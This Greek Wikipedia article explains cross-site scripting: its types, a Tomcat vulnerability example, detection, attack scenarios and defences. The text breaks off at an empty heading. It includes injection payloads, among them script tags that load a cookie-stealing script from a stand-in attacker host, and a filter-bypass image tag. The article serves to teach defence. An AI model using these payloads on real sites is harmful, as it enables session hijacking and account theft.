Cross-site scripting

Από τη Βικιπαίδεια, την ελεύθερη εγκυκλοπαίδεια

Με τον όρο Cross-site Scripting ή XSS αναφερόμαστε σε μία ευπάθεια ασφάλειας που επιτρέπει σε έναν κακόβουλο χρήστη να εγχύσει κώδικα JavaScript σε μία ιστοσελίδα. Με τη σειρά του, ο κώδικας αυτός θα εκτελεστεί στον φυλλομετρητή του χρήστη που θα επιχειρήσει να επισκεφθεί την συγκεκριμένη ιστοσελίδα. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν μία cross-site scripting ευπάθεια προκειμένου να παρακάμψουν ελέγχους πρόσβασης, όπως το Same-Origin Policy. Ο αντίκτυπος των εν λόγω επιθέσεων ποικίλλει από μικρές αλλαγές που ενδεχομένως επηρεάζουν την εμπειρία ενός χρήστη, μέχρι μεγάλης εμβέλειας ζημιές, ανάλογα με την ευαισθησία των δεδομένων που χειρίζεται ο ευάλωτος ιστότοπος, αλλά και τις προσπάθειες μετρίασης των αρνητικών συνεπειών.

Υπόβαθρο[Επεξεργασία | επεξεργασία κώδικα]

Η ασφάλεια στο Διαδίκτυο βασίζεται σε διάφορους μηχανισμούς, ένας εκ των οποίων είναι το Same-origin policy. Σύμφωνα με αυτό, κώδικας ο JavaScript (script) μιας ιστοσελίδας (λ.χ. https://mybank.example1.com), μπορεί να έχει πρόσβαση σε πόρους (π.χ. HTTP cookies κτλ.) άλλων σελίδων, μόνο εαν αυτές έχουν URL με ίδιο (1) URI, (2) όνομα τομέα και (3) αριθμό θύρας. Εάν κάποιο από τα τρία προαναφερθέντα στοιχεία διαφέρει, τότε θα πρέπει να δοθεί ξεχωριστή άδεια πρόσβασης.[1]

Εκμεταλλευόμενοι μια XSS ευπάθεια, ένας επιτιθέμενος μπορεί να εμφωλεύσει κακόβουλο JavaScript κώδικα μέσα στο περιεχόμενο που διατίθεται από τον ευάλωτο ιστότοπο. Όταν το τροποποιημένο αυτό περιεχόμενο φτάνει στον φυλλομετρητή του χρήστη, λειτουργεί με τα αυξημένα προνόμοια, και αντιμετωπίζεται από τον φυλλομετρητή ως έμπιστο περιεχόμενο. Με αυτόν τον τρόπο, ο επιτιθέμενος μπορεί να αποκτήσει πρόσβαση σε ευαίσθητα δεδομένα χρηστών, να υποκλέψει την συνεδρία ενός χρήστη, αλλά και να αποκτήσει πρόσβαση σε πλήθος πληροφοριών που αποθηκεύει ο φυλλομετρητής για χάρη του χρήστη.

Ο όρος “cross-site scripting” προήλθε από μηχανικούς ασφάλειας της Microsoft τον Ιανουάριο του 2000.[2]

XSS ευπάθειες έχουν ήδη αναφερθεί από τη δεκαετία του 90’, επηρεάζοντας διακεκριμένους ιστότοπος κοινωνικής δικτύωσης στο παρελθόν, όπως το Twitter[3] και το MySpace (με το γνωστό Samy worm).[4]

Κατηγορίες XSS επιθέσεων[Επεξεργασία | επεξεργασία κώδικα]

Διακρίνουμε τρεις βασικές κατηγορίες XSS επιθέσεων: μη μόνιμες, μόνιμες και επιθέσεις βασισμένες στο Μοντέλο Αντικειμένου Εγγράφου (Document Object Model - DOM), που προκαλούνται από την πλευρά του χρήστη (client-side). Οι δύο πρώτες αναφέρονται συνήθως και ως παραδοσιακές που προκαλούνται από την πλευρά του εξυπηρετητή). Νέες κατηγορίες περιλαμβάνουν τις επιθέσεις Self-XSS αλλά και τις μεταλλαγμένες.

Μη μόνιμες[Επεξεργασία | επεξεργασία κώδικα]

Μία μη μόνιμη XSS επίθεση λαμβάνει χώρα όταν τα δεδομένα που υποβάλλονται από τον πελάτη (μέσω του φυλλομετρητή), συνήθως με HTTP αιτήματα (π.χ. με τη συμπλήρωση μιας HTML φόρμας), χρησιμοποιούνται αμέσως από την πλευρά του εξυπηρετητή, δίχως αυτά να έχουν προηγουμένως ελεγχθεί επαρκώς (input sanitization).

Ένα χαρακτηριστικό παράδειγμα ενδεχόμενης μη μόνιμης XSS μπορεί να περιλαμβάνει την γραμμή αναζήτησης μίας ιστοσελίδας, όπου εάν ένας χρήστης αναζητήσει κάτι, τότε η συμβολοσειρά προς αναζήτηση, τυπώνεται αυτολεξεί στην σελίδα αποτελεσμάτων για να υποδείξει σε ποια αναζήτηση αντιστοιχούν τα αποτελέσματα. Συνεπώς, εάν τα δεδομένα εισόδου που εισάγει ο χρήστης δεν έχουν ελεγχθεί σωστά προτού χρησιμοποιηθούν (λ.χ. να απορρίψουν τυχόν JavaScript κώδικα που μπορεί να υπάρχει στα δεδομένα εισόδου), τότε απόρροια είναι μία μη μόνιμη XSS επίθεση.

Ως επι το πλείστον, μία τέτοια επίθεση λαμβάνει χώρα μέσω ενός φαινομενικά αθώου URL, το οποίο χρησιμοποιείται ως δόλωμα. Συγκεκριμένα, το URL αυτό αφορά την ευάλωτη ιστοσελίδα και περιέχει το κακόβουλο script. Το δόλωμα μπορεί να παραδοθεί στο εν δυνάμει θύμα είτε μέσω email είτε μέσω ενός ουδέτερου ιστότοπου. Χαρακτηριστικό αποτελεί το ότι το κακόβουλο αυτό script δεν αποθηκεύεται στον εξυπηρετητή που υποστηρίζει την λειτουργία της ιστοσελίδας.

Μόνιμες[Επεξεργασία | επεξεργασία κώδικα]

Οι ευπάθειες που μπορεί να οδηγήσουν σε μόνιμες XSS επιθέσεις είναι πολύ πιο καταστροφικές. Τέτοιες ευπάθειες προκύπτουν όταν τα δεδομένα τα οποία στέλνονται από κάποιον κακόβουλο χρήστη αποθηκεύονται στον εξυπηρετητή, ώστε μετά να εμφανίζονται μέσα στις ιστοσελίδες του εξυπηρετητή όταν τις επισκέπτονται άλλοι χρήστες. Ένα κλασικό παράδειγμα τέτοιου τύπου επιθέσεων περιλαμβάνει διαδικτυακούς τόπους δημόσιας συζήτησης που επιτρέπουν στους χρήστες να δημοσιεύσουν μηνύματα σε HTML για να τα δουν άλλοι χρήστες. Εάν ένας τέτοιος ιστότοπος δεν ελέγχει σωστά τα δεδομένα που εισάγει ένας χρήστης όταν κοινοποιεί ένα μήνυμα τότε προκύπτει μια μόνιμη XSS ευπάθεια. Αυτό γιατί ένας κακόβουλος χρήστης μπορεί ενδεχομένως να περιλάβει και κώδικα JavaScript στα δεδομένα του. Ο κώδικας αυτός μετά, θα μπορεί να τρέξει στους φυλλομετρητές όλων των χρηστών που παρακολουθούν τη συζήτηση.

Μία ευπάθεια τέτοιου τύπου είναι πολύ σημαντική, διότι ο επιτιθέμενος δεν χρειάζεται να στοχοποιήσει ένα συγκεκριμένο θύμα, εφόσον η ίδια η ευάλωτη ιστοσελίδα αποτελεί μέσο διάδοσης της επίθεσης. Ιδιαίτερα στην περίπτωση ενός ιστότοπου κοινωνικού δικτύου, ο κακόβουλος κώδικας θα μπορούσε να σχεδιαστεί περαιτέρω ώστε να αυτοδιαδίδεται μεταξύ των λογαριασμών των χρηστών, δρώντας ως σκουλήκι στην πλευρά του χρήστη.[5]

Βασισμένες στο DOM[Επεξεργασία | επεξεργασία κώδικα]

Οι ευπάθειες απο XSS επιθέσεις οι οποίες είναι βασισμένες στο μοντέλο DOM δημιουργήθηκαν από την ανάπτυξη των Web 2.0 εφαρμογών. Ενώ στις παραδοσιακές επιθέσεις που περιγράψαμε παραπάνω είναι συνηθισμένο οι ευπάθειες να οφείλονται στον εξυπηρετητή όταν ετοιμάζει μια HTML σελίδα για να την σερβίρει σε κάποιον πελάτη, οι επιθέσεις βασισμένες σε DOM λαμβάνουν χώρα κατά τα στάδια επεξεργασίας περιεχομένου που εκτελούνται στην πλευρά του χρήστη. Με άλλα λόγια, το κακόβουλο φορτίο της επίθεσης δεν «φτάνει» ποτέ στον εξυπηρετητή, αλλά αντανακλάται στον JavaScript κώδικα που εκτελείται στον φυλλομετρητή του χρήστη (στην πλευρά του χρήστη).Το όνομα αυτών των επιθέσεων προέρχεται από τον τρόπο που απεικονίζονται τα HTML ή XML αντικείμενα όπως αυτός ορίζεται από το Μοντέλο Αντικειμένου Εγγράφου (Document Object Model - DOM).

Παράδειγμα XSS ευπάθειας βασισμένης σε DOM αποτελεί το bug που βρέθηκε το 2011 σε μία σειρά από jQuery πρόσθετα (plug-ins).[6] Οι πρακτικές αντιμετώπισης της εν λόγω ευπάθειας φέρουν αρκετές ομοιότητες με εκείνες που χρησιμοποιούνται για την αντιμετώπιση παραδοσιακών XSS. Συνήθως είναι γραμμένες σε JavaScript κώδικα και περιέχονται μέσα στις ιστοσελίδες (λ.χ. επικύρωση δεδομένων εισόδου και διαφυγή χαρακτήρων).[7] Ορισμένα JavaScript frameworks διαθέτουν ενσωματωμένα αντίμετρα για την αντιμετώπιση τόσο αυτού του είδους όσο και άλλων (π.χ. το Angular framework).[8]

Self-XSS[Επεξεργασία | επεξεργασία κώδικα]

Η Self-XSS είναι ένα είδος XSS ευπάθειας που βασίζεται στην Κοινωνική Μηχανική προκειμένου να παραπλανηθεί το θύμα και να εκτελέσει κακόβουλο JavaScript κώδικα στον φυλλομετρητή του. Παρά το γεγονός ότι βασίζεται στην ψυχολογική χειραγώγηση του χρήστη παρά στην ύπαρξη ενός κενού ασφαλείας στον ιστότοπο, αποτελεί εξίσου σημαντική απειλή με τα υπόλοιπα είδη XSS επιθέσεων εάν εκτελεστεί κατάλληλα.[9]

Μεταλλαγμένη XSS (mXSS)[Επεξεργασία | επεξεργασία κώδικα]

Αυτό το είδος XSS επίθεσης συμβαίνει όταν ο επιτιθέμενος εισάγει κάτι φαινομενικά αθώο, το οποίο, όμως, τροποποιείται κατά τη διαδικασία δημιουργίας της HTML σελίδας από τον φυλλομετρητή και καταλήγει να δρα ως κακόβουλος κώδικας. Για αυτόν τον λόγο, είναι εξαιρετικά δύσκολος ο εντοπισμός κακόβουλων δεδομένων εισόδου και κατ’ επέκταση ο έλεγχος και η επικύρωσή τους. Χαρακτηριστικό παράδειγμα, μάλιστα, αποτελεί το γεγονός ότι ακόμη και η ίδια η Google είχε ένα κενό ασφάλειας στην μηχανή αναζήτησής της (2018) που αφορούσε το εν λόγω είδος.[10]

Παράδειγμα XSS ευπάθειας στο λογισμικό Apache server[Επεξεργασία | επεξεργασία κώδικα]

Στον Apache Tomcat υπήρχε ένα κενό ασφαλείας στον κώδικα ενός αρχείου JavaScript ονόματι sessionsList.jsp. Συγκεκριμένα, ο κώδικας χρησιμοποιούσε τις μη ασφαλείς μεταβλητές orderBy και sort. Κατά συνέπεια, σε μια ιστοσελίδα που βασιζόταν σε λογισμικό Apache για να λειτουργήσει, ένας κακόβουλος χρήστης θα μπορούσε μέσω κάποιου πεδίου που χρησιμοποιείται για την είσοδο κειμένου (text input field), να δώσει ως είσοδο JavaScript κώδικα. Έπειτα, ο κώδικας αυτός θα μπορούσε να οδηγήσει τον φυλλομετρητή ενός θύματος σε URL της επιλογής του επιτιθέμενου. Εκεί, ο τελευταίος, θα μπορούσε να οργανώσει καλύτερα την επίθεσή του μέσω JavaScript κώδικα πάλι, εκμεταλλευόμενος και πάλι την ευπάθεια του λογισμικού Apache server.

Παράδειγμα κώδικα που θα εκμεταλλευόταν την παραπάνω ευπάθεια[Επεξεργασία | επεξεργασία κώδικα]

GET/manager/html/sessions?path=/&sort="><script>alert('xss')</script>order=ASC&action=injectSessions&refresh=Refresh+Sessions+list

Εκδόσεις που έχουν το πρόβλημα[Επεξεργασία | επεξεργασία κώδικα]

Apache Tomcat 6.0.2 – 6.0.20 εκτός 6.0.10 και 6.0.11

Εντοπισμός ευπαθειών[Επεξεργασία | επεξεργασία κώδικα]

Οι XSS ευπάθειες, μπορεί να είναι δύσκολο να αναγνωρισθούν και να αφαιρεθούν από μια διαδικτυακή εφαρμογή. Η καλύτερη πρακτική για να αναζητήσει κανείς ευπάθειες αυτού του είδους, είναι να πραγματοποιήσει μια εκτενή ανασκόπηση του κώδικα αναζητώντας τα σημεία αυτά όπου ένας χρήστης εισάγει δεδομένα, λ.χ. μέσω μιας φόρμας εισόδου. Αμέσως μετά, θα πρέπει να εξετάσει εαν αυτά τα δεδομένα, γίνονται μέρος μιας HTML σελίδας που μπορεί να δει κάποιος χρήστης. Μια ποικιλία από HTML tags (π.χ. <img src…>, <iframe …>, <bgsound scr…> κ.α.) μπορούν να χρησιμοποιηθούν για την μετάδοση κακόβουλου κώδικα JavaScript. Ειδικές εφαρμογές-σαρωτές, που υπάρχουν στο διαδίκτυο, όπως τα Burp Suite, Webnspect, Acunetix, Netsparker, Websecurify, NStalker κ.α., μπορούν να χρησιμοποιηθούν για την εύρεση XSS ευπαθειών. Κάτι τέτοιο μπορεί να γίνει ευκολότερα μαζί με χειροκίνητο έλεγχο, καθώς τα περισσότερα από αυτά τα εργαλεία, χρησιμοποιούν συγκεκριμένα πρότυπα αναζήτησης, αγνοώντας τους διαφορετικούς τρόπους κωδικοποίησης ή τις τεχνικές παράβλεψης που μπορεί να χρησιμοποιηθούν.

Παραδείγματα Επιθέσεων[Επεξεργασία | επεξεργασία κώδικα]

Οφείλουμε να προσεγγίσουμε την κάθε κατηγορία XSS με διαφορετικό τρόπο. Αυτό φαίνεται και από τα ενδεικτικά κακόβουλα φορτία επίθεσης που χρησιμοποιούνται στα παραδείγματα που ακολουθούν. Σημειώνουμε πως στα ονόματα των χαρακτήρων που αναφέρονται, χρησιμοποιούνται ευρέως στη βιβλιογραφία ασφάλειας υπολογιστών.

Μη μόνιμη[Επεξεργασία | επεξεργασία κώδικα]

  1. Έστω ένας ιστότοπος που ανήκει στον Μπομπ και επιτρέπει στους χρήστες του να συνδέονται στον λογαριασμό τους με ένα ζεύγος ονόματος χρήστη και κωδικού πρόσβασης, ενώ παράλληλα, διατηρεί ευαίσθητα δεδομένα, όπως πληροφορίες χρέωσης. Επιπρόσθετα, όταν ένας χρήστης συνδέεται στον λογαριασμό του, στον φυλλομετρητή αποθηκεύεται ένα HTTP cookie (έχει τη μορφή συμβολοσειράς), ούτως ώστε ο εξυπηρετητής να γνωρίζει ότι ο χρήστης είναι συνδεδεμένος. Τέλος, έστω ότι η Άλις επισκέπτεται συχνά τον συγκεκριμένο ιστότοπο.
  2. Η Μάλλορι παρατηρει πως ο ιστότοπος του Μπομπ είναι ευάλωτος σε μη μόνιμες XSS επιθέσεις:
    1. Όταν επισκέπτεται τη σελίδα αναζήτησης, εισάγει έναν όρο αναζήτησης και υποβάλλει το αίτημα αναζήτησης. Εάν δεν βρεθούν αποτελέσματα, τότε η σελίδα προβάλλει την ένδειξη «Δεν βρέθηκαν αποτελέσματα για: », ακολουθούμενη από τον όρο αναζήτησης (αυτολεξεί). Συνεπώς, το URL θα είναι της μορφής: http://bobssite.org/search?term=search%20term
    2. Έτσι, για παράδειγμα, μία κανονική αναζήτηση για τον όρο «κουτάβια», θα δώσει το εξής αποτέλεσμα (σε περίπτωση πάντα που ο όρος αναζήτησης δεν αποφέρει αποτελέσματα αναζήτησης): «Δεν βρέθηκαν αποτελέσματα για: κουτάβια». Το URL θα είναι της μορφής: http://bobssite.org/search?term=κουτάβια . Η παραπάνω συμπεριφορά είναι απολύτως αναμενόμενη και κανονική.
    3. Ωστόσο, θα μπορούσε να υποβάλλει έναν αφύσικο όρο αναζήτησης της μορφής “<script>alert('XSS');</script>”. Τότε:
      1. Θα εμφανιστεί ένα αναδυόμενο παράθυρο ειδοποίησης που θα αναγράφει την ένδειξη «XSS».
      2. Η σελίδα απάντησης προβάλλει την ένδειξη: «Δεν βρέθηκαν αποτελέσματα για: » .
      3. Το URL είναι της μορφής: http://bobssite.org/search?term=<script>alert(‘XSS’);</script> που αποτελεί ένδειξη ευάλωτης σελίδας που μπορεί να εκμεταλλευτεί ένας κακόβουλος χρήστης.
  3. Η Μάλλορι κατασκευάζει ένα URL για να εκμεταλλευτεί την ευπάθεια αυτή:
    1. Το URL είναι της μορφής: http://bobssite.org/search?term=κουτάβια<script%20src=”http://mallorysevilsite.com/cookiestealer.js”></script>. Θα μπορούσε, μάλιστα, να χρησιμοποιήσει και κάποιο εργαλείο σμίκρυνσης του URL ούτως ώστε να μην μπορεί κανείς να κατανοήσει τη φύση του βλέποντας το.
    2. Στέλνει με κάποιον τρόπο το κακόβουλο URL στην ανυποψίαστη Άλις, συνοδευόμενο, για παράδειγμα, από τη φράση: «Δες αυτά τα όμορφα κουτάβια!».
  4. Η Άλις λαμβάνει το μήνυμα με το κακόβουλο URL και το ανοίγει. Ανακατευθύνεται στην σελίδα αναζήτησης που υπάρχει στον ιστότοπο του Μπομπ, όπου και αναγράφεται η ένδειξη «Δεν βρέθηκαν αποτελέσματα για: κουτάβια». Ωστόσο, το script που περιέχεται στο κακόβουλο URL εκτελείται στο παρασκήνιο από τον φυλλομετρητή της Άλις, δίχως να γίνεται αντιληπτό από εκείνη. Έτσι, φορτώνεται το πρόγραμμα (cookiestealer.js) από τον εξυπηρετητή της Μάλλορι (mallorysevilsite) και εκτελείται. Η Άλις, βλέποντας πως δεν βρέθηκαν αποτελέσματα, δεν δίνει περαιτέρω σημασία.
  5. Το πρόγραμμα authstealer.js τρέχει, όπως προαναφέρθηκε, στον φυλλομετρητή της Άλις και έχει προέλθει (origin) από τον ιστότοπο του Μπομπ. Συνεπώς, έχει πρόσβαση στο cookie της Άλις, το οποίο και υποκλέπτει και εν συνεχεία, το αποστέλλει στον εξυπηρετητή που διατηρεί η Μάλλορι.
  6. Η Μάλλορι, έχοντας ανακτήσει το cookie της Άλις, το εισάγει στον δικό της φυλλομετρητή σαν να ήταν δικό της και κατ’ επέκταση συνδέεται στον λογαριασμό της Άλις (στον ιστότοπο του Μπομπ).
  7. Σε αυτό το σημείο μπορεί να προχωρήσει σε ενέργειες όπως το να πάει στην ενότητα «πληρωμών» του λογαριασμού και να δει τον αριθμό της πιστωτικής κάρτας της Άλις ή / και να αλλάξει τον κωδικό πρόσβασης του λογαριασμού.
  8. Η Μάλλορι αποφασίζει να στείλει ένα παρόμοιο link και στον ίδιο τον Μπομπ, αποκτώντας με αυτόν τον τρόπο δικαιώματα διαχειριστή στον ιστότοπο.

Παραθέτουμε ορισμένες ενέργειες που θα μπορούσαν να είχαν γίνει ούτως ώστε να μετριαστεί η επίθεση:

  1. Τα δεδομένα εισόδου (ο όρος αναζήτησης) θα μπορούσαν να είχαν ελεγχθεί και επικυρωθεί.
  2. Ο εξυπηρετητής ιστού θα μπορούσε να είχε ρυθμιστεί ώστε να ανακατευθύνει μη έγκυρα αιτήματα.
  3. Ο εξυπηρετητής ιστού θα μπορούσε να εντοπίζει ταυτόχρονες συνδέσεις σε κάποιον λογαριασμό και να ακυρώνει τις συνεδρίες.
  4. Ο εξυπηρετητής ιστού θα μπορούσε να εντοπίζει ταυτόχρονες συνδέσεις σε έναν λογαριασμό από δύο διαφορετικές IP και να ακυρώνει τις συνεδρίες.
  5. Ο ιστότοπος θα μπορούσε να δείχνει μονάχα μερικά από τα τελευταία ψηφία μίας πιστωτικής κάρτας που έχει προηγουμένως χρησιμοποιηθεί σε κάποιον λογαριασμό.
  6. Ο ιστότοπος θα μπορούσε να ζητάει από τους χρήστες να εισάγουν τον κωδικό πρόσβασης προτού γίνει οποιαδήποτε τροποποίηση σε πληροφορίες του λογαριασμού, λειτουργώντας ως μέσο ταυτοποίησης.
  7. Ο ιστότοπος θα μπορούσε να θέσει σε λειτουργία διάφορες πτυχές της Πολιτικής Προστασίας Περιεχομένου (CSP).
  8. Ορισμός του cookie ως HttpOnly, ώστε να μην μπορεί κάποιο script από την πλευρά του χρήστη να έχει πρόσβαση σε αυτό.[11][12]


Μόνιμη[Επεξεργασία | επεξεργασία κώδικα]

  1. Η Μάλλορι δημιουργεί έναν λογαριασμό στον ιστότοπο του Μπομπ.
  2. Η Μάλλορι παρατηρεί ότι ο ιστότοπος του Μπομπ είναι ευπαθής σε μόνιμες XSS επιθέσεις. Πιο συγκεκριμένα, τα σχόλια στην ενότητα «Νέα» εμφανίζονται όπως ακριβώς γραφτούν (αυτολεξεί). Έτσι, εάν το σχόλιο περιέχει HTML ετικέτες, τότε οι ετικέτες εμφανίζονται όπως είναι και εαν υπάρχουν scripts εκτελούνται κανονικά.
  3. Η Μάλλορι, διαβάζοντας ένα άρθρο στην ενότητα «Νέα», αποφασίζει να γράψει το παρακάτω σχόλιο: «Μου αρέσουν πολύ τα κουτάβια στην ιστορία αυτή!<script src="http://mallorysevilsite.com/cookiestealer.js">
  4. Όταν η Άλις (ή οποιοσδήποτε άλλος χρήστης) επισκέπτεται τη συγκεκριμένη σελίδα (που περιέχει το σχόλιο αυτό), τότε το script που έχει εμφωλεύσει η Μάλλορι εκτελείται και ως αποτέλεσμα, το cookie της Άλις υποκλέπτεται (όπως μαρτυρά και το όνομα του script) και αποστέλλεται στον εξυπηρετητή που διαθέτει η Μάλλορι.[13]
  5. Η Μάλλορι μπορεί τώρα να συνδεθεί στον λογαριασμό της Άλις (session hijack) με το cookie που υπέκλεψε και να υποδυθεί πως είναι αυτή.[14]

Εαν ο ιστότοπος του Μπομπ διέθετε μηχανισμούς που μπορούσαν να φιλτράρουν τα σχόλια των χρηστών (λ.χ. έλεγχος στις ετικέτες των scripts με διαφυγή χαρακτήρων), δεν θα υπήρχε XSS ευπάθεια.


Αντίμετρα[Επεξεργασία | επεξεργασία κώδικα]

Υπάρχουν διαφορετικά αντίμετρα για την αντιμετώπιση των επιθέσεων XSS. Παρακάτω αποτελούν τα περισσότερο διαδεδομένα και αποτελεσματικά.

Κωδικοποίηση δεδομένων εξόδου με βάση τα συμφραζόμενα / διαφυγή συμβολοσειράς εισόδου[Επεξεργασία | επεξεργασία κώδικα]

Η κωδικοποίηση των δεδομένων εξόδου θα μπορούσε να χρησιμοποιηθεί ως ο κύριος μηχανισμός άμυνας ενάντια στις XSS επιθέσεις. Υπάρχουν συγκεκριμένες πρακτικές για να ελέγχονται τα δεδομένα εισόδου που με τη σειρά τους τοποθετούνται σε διάφορα σημεία ενός HTML εγγράφου το οποίο καταλήγει να βλέπει ένας χρήστης. Σε αυτές συμπεριλαμβάνονται η κωδικοποίηση HTML οντοτήτων, η διαφυγή χαρακτήρων JavaScript, η διαφυγή χαρακτήρων CSS και η κωδικοποίηση URL.[15]

Αν και συνίσταται ευρέως, η κωδικοποίηση HTML οντοτήτων μόνο στους πέντε σημαντικούς XML χαρακτήρες (‘, “, <, >, &) δεν είναι πάντοτε επαρκής για την αποτροπή XSS επιθέσεων κάθε είδους. Επειδή η κωδικοποίηση είναι συχνά δύσκολη, η χρήση βιβλιοθηκών κωδικοποίησης ασφάλειας διευκολύνει συνήθως τη διαδικασία θωράκισης του συστήματος.

Ασφαλής επικύρωση μη έμπιστης HTML εισόδου[Επεξεργασία | επεξεργασία κώδικα]

Σε πολλά σημεία εφαρμογών ιστού, επιτρέπεται στους χρήστες η περιορισμένη χρήση HTML σήμανσης. Όταν γίνεται αποδοχή HTML δεδομένων εισόδου από τους χρήστες (για παράδειγμα, <b>πολύ</b> μεγάλο), τότε η κωδικοποίηση εξόδου (όπως <b>πολύ</b> μεγάλο) δεν θα είναι επαρκής, δεδομένου ότι η είσοδος του χρήστη πρέπει να καταστεί ως HTML από τον φυλλομετρητή (εμφανίζοντας  «πολύ μεγάλο» αντί για «<b>πολύ</b> μεγάλο»). Η αποτροπή XSS επιθέσεων είναι πολύ πιο σύνθετη στην συγκεκριμένη περίπτωση. Η HTML είσοδος πρέπει να φιλτραριστεί μέσα από μία μηχανή ελέγχου και επικύρωσης, προκειμένου να διασφαλιστεί πως δεν περιέχει κώδικα XSS.

Πολλές επικυρώσεις βασίζονται στον αποκλεισμό ορισμένων επικίνδυνων HTML ετικετών, όπως οι ακόλουθες: <script>, <link>, <iframe>. Ωστόσο, υπάρχουν ορισμένα προβλήματα με τη συγκεκριμένη προσέγγιση. Για παράδειγμα, υπάρχει περίπτωση κάποιες φαινομενικά αθώες ετικέτες να παραλειφθούν και όταν χρησιμοποιηθούν «σωστά» να οδηγήσουν σε XSS (όπως <img src=”javascript:alert(1)”>). Μία άλλη δημοφιλής μέθοδος είναι η αφαίρεση (στα δεδομένα εισόδου του χρήστη) των διπλών και μονών εισαγωγικών (“ και ‘ αντίστοιχα). Ωστόσο, αυτό μπορεί και πάλι να παρακαμφθεί, καθώς το φορτίο της επίθεσης μπορεί να κρυφτεί με obfuscation (συσκότιση κώδικα).[16]

Ασφάλεια HTTP Cookie[Επεξεργασία | επεξεργασία κώδικα]

Πέρα από το φιλτράρισμα του περιεχομένου, χρησιμοποιούνται ευρέως και άλλες (εν μέρει ατελείς) μέθοδοι μετρίασης των XSS επιθέσεων. Ένα παράδειγμα αποτελεί η ύπαρξη ελέγχων ασφάλειας κατά τον χειρισμό της αυθεντικοποίησης ενός χρήστη που βασίζεται σε HTTTP cookie. Πολλές εφαρμογές ιστού βασίζονται στα cookie συνεδρίας για την αυθεντικοποίηση του χρήστη σε κάθε ατομικό HTTP αίτημα και καθώς τα scripts στην πλευρά του χρήστη έχουν πρόσβαση σε αυτά τα cookie, είναι εύκολη η υποκλοπή τους με XSS.

Για να μετριαστεί η συγκεκριμένη απειλή (και όχι οι XSS ευπάθειες), πολλές εφαρμογές ιστού συνδέουν τα cookie συνεδρίας με την IP που χρησιμοποίησε πρωταρχικά ο χρήστης για να συνδεθεί και έπειτα επιτρέπουν μόνο σε αυτήν την IP να χρησιμοποιήσει το cookie.[17] Αυτή η μέθοδος είναι αποτελεσματική σε αρκετές περιπτώσεις (όταν ο επιτιθέμενος αναζητεί μονάχα το cookie), αλλά δεν λειτουργεί όταν ο επιτιθέμενος χρησιμοποιεί την ίδια IP (λ.χ. μέσω μετάφρασης διεύθυνσης δικτύου).[17]

Μία άλλη τεχνική αντιμετώπισης που εντοπίζεται στους φυλλομετρητές Internet Explorer (από την έκδοση 6 και μετά), Firefox (από την έκδοση 2.0.0.5 και έπειτα), Safari (από την έκδοση 4 και μετά), Opera (από την έκδοση 9.5 και ύστερα) και Google Chrome, είναι ο ορισμός του cookie ως HttpOnly. Το χαρακτηρίστικό αυτό καθιστά το cookie μη διαθέσιμο σε scripts που βρίσκονται στην πλευρά του χρήστη. Ωστόσο, δεν αποτελεί πανάκεια, εφόσον δεν αποτρέπει πλήρως ούτε την υποκλοπή των cookie ούτε τις επιθέσεις εντός του φυλλομετρητή.[18]

Απενεργοποίηση των scripts[Επεξεργασία | επεξεργασία κώδικα]

Παρόλο που η εμφάνιση του Ιστού 2.0 (Web 2.0) και της τεχνολογίας Ajax καθιστούν απαραίτητη την χρήση της JavaScript,[19] ορισμένες εφαρμογές ιστού είναι κατασκευασμένες έτσι ώστε να είναι εφικτή η λειτουργία τους δίχως scripts που να εκτελούνται στην πλευρά του χρήστη. Αυτό επιτρέπει στους χρήστες να απενεργοποιήσον, εάν επιθυμούν, τα scripts κατά την χρήση της εφαρμογής και να μην είναι ευάλωτοι σε XSS επιθέσεις.

Ορισμένοι φυλλομετρητές ή πρόσθετα φυλλομετρητών (plug-ins) μπορούν να ρυθμιστούν ώστε να απενεργοποιούν τα scripts που προέρχονται από συγκεκριμένους τομείς (domains). Ωστόσο, με αυτή η προσέγγιση ένας χρήστης θα κάνει την αντίστοιχη ρύθμιση αφού ενημερωθεί για τις κακόβουλες σελίδες που ενεργοποιούν κακόβουλα scripts. Απεναντίας, μία προσέγγιση που λειτουργεί με αντίστροφο τρόπο (δηλαδή αποτρέπει την λειτουργία των scripts από προεπιλογή και την επιτρέπει μονάχα όταν το επιθυμεί ο χρήστης) μοιάζει πιο αποτελεσματική. Αυτό είναι δυνατό στον Internet Explorer (από την έκδοση 4 και μετά), ρυθμίζοντας τις λεγόμενες ζώνες ασφάλειας - “Security Zones”,[20] καθώς και στον φυλλομετρητή Opera (από την έκδοση 9 και έπειτα), χρησιμοποιώντας τις «Ρυθμίσεις συγκεκριμένου ιστότοπου».[21] Μία λύση για τον Firefox και άλλους φυλλομετρητές που βασίζονται στην μηχανή φυλλομετρητή Gecko είναι η χρήση του "NoScript" plug-in. Το NoScript είναι πρόσθετο ανοιχτού λογισμικού και πέρα από την απενεργοποίηση των script ανάλογα με τον ιστότοπο, παρέχει και μηχανισμό προστασίας απέναντι σε επιθέσεις XSS (ακόμη και όταν αυτά είναι ενεργοποιημένα).[22] Το κυριότερο πρόβλημα με την προεπιλεγμένη απενεργοποίηση όλων των script σε όλους τους ιστότοπους είναι αλλαγές σε σχέση με την λειτουργικότητα και την ταχύτητα (τα scripts που εκτελούνται στην πλευρά του πελάτη είναι αρκετά ταχύτερα από εκείνα που εκτελούνται στην πλευρά του εξυπηρετητή, διότι δεν απαιτείται η σύνδεση σε έναν διακομιστή και η σελίδα δεν χρειάζεται να φορτωθεί εκ νέου).[23] Επιπέον, πολλοί χρήστες δεν κατανοούν την πρακτική αυτή και ως εκ τούτου δεν είναι σε θέση να θωρακίσουν τους φυλλομετρητές τους κατάλληλα. Ένα ακόμη μειονέκτημα αποτελεί το ότι πολλοί ιστότοποι δεν μπορούν να λειτουργήσουν χωρίς την χρήση client-side scripts. Έτσι οι χρήστες αναγκάζονται να απενεργοποιήσουν την υφιστάμενη προστασία για τον συγκεκριμένο ιστότοπο πράγμα που τους καθιστά ευάλωτους.[24] Να σημειωθεί πως το NoScript δίνει στους χρήστες τη δυνατότητα να επιτρέψουν την εκτέλεση ορισμένων μονάχα script (όσων επιθυμούν) που προέρχονται από έναν συγκεκριμένο τομέα. Για παράδειγμα, τα scripts από τον τομέα example.com θα μπορούσαν να επιτρέπονται, ενώ τα scripts από τον τομέα maliciouswebsite.com, τα οποία επιχειρούν να εκτελεστούν στην ίδια σελίδα να αποτρέπονται.[22]

Απενεργοποίηση των scripts κατ' επιλογή[Επεξεργασία | επεξεργασία κώδικα]

